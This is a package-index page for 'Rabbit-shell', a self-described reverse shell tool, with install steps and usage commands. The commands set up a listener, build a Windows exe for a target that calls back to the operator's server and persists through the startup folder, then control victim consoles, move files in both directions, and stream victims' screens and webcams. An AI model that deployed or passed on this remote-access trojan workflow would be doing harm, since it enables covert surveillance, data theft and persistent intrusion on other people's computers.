Rabbit shell reverse shell tool.
Project description
Rabbit-shell
Rabbit shell reverse shell tool.
Installation.
By pip.
pip install rabbit_shell
install using pypi.
or
By clone.
git clone https://github.com/greedalbadi/rabbit-shell.git
cd rabbit-shell
pip install .
install using git clone.
Usage.
rsb --help
print available arguments with a tiny explain or just rsb.
Run server and start listening.
rsb --server -a 192.168.0.111 -p 9999
- --server is args container
- -a is server or device ip address
- -p is wich port you'll be listening to
There'll be a seperate socket for file transfering the port is whaever enter - 1, If main server port 9999
file transfer port well be 9998, the files are going to trans to wherever your location is.
Log to server as author.
rsb --auth -a 192.168.0.111 -p 9999
- --auth is args container
- -a is server or device ip address
- -p is wich port you'll be listening to server and contacts
- -k (optional) use key
connect to your server as an author and control your own clients.
Generate exe for the target.
rsb --client -a 192.168.0.111 -p 9999
- --client is args container
- -a is server or device ip address
- -p is wich port you'll be listening to
This will generate an exe inside a dist directory you may delete build folder, when the exe runs It'll create
a shortcut in startup folder if the system is windows.
Generate new key.
rsb --key
generate a new key and save it in data\basic.py.
To insert key.
rsb --key -k your_key
- -k is the key you want to insert to the tool files.
Commands to use from server side.
To request server information.
>: server
Server host and port also the tool version and tool name.
To list all clients.
>: list
List online and offline clients use, device address, and more.
To set and controll a client console by client use number from the list.
>: set 0
To controle client console you can git client set number from using the command list
and use the command >: set (client use number).
Quit client session.
>: quit
Quit client console without losing connection with client, used to things like changing to another set or gain info.
Send file to client.
>: file:filename
Request file from client.
reqfile:filename
stream
streaming will be done by wich client is sending frames to the server
so make sure that it's one client whom send's stream frames and stop other streams to be safe, after you'r done with the stream stop it using >: stream:stop
.
stream current client screen.
>: stream:screen
stream current client webcam.
>: stream:cam
stop stream
>: stream:stop
make sure you stop the stream when you want to start streaming another client.
About.
by @greedalbadi
This tool uses MIT license.
made with depression <3
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distributions
No source distribution files available for this release.See tutorial on generating distribution archives.
Built Distribution
Close
Hashes for rabbit_shell-3.2.3-py3-none-any.whl
Algorithm | Hash digest | |
---|---|---|
SHA256 | c87cf77e8b7345cd4c96810a45e108af11c98edc50fd2cdb2600ef2a27ea3da1 |
|
MD5 | 9829a5bedd084c7e091dcf2bdf4eaee4 |
|
BLAKE2b-256 | 793be0e6e3a4d76a1e72ad477713be4af122206a3464ee587229175ae557905a |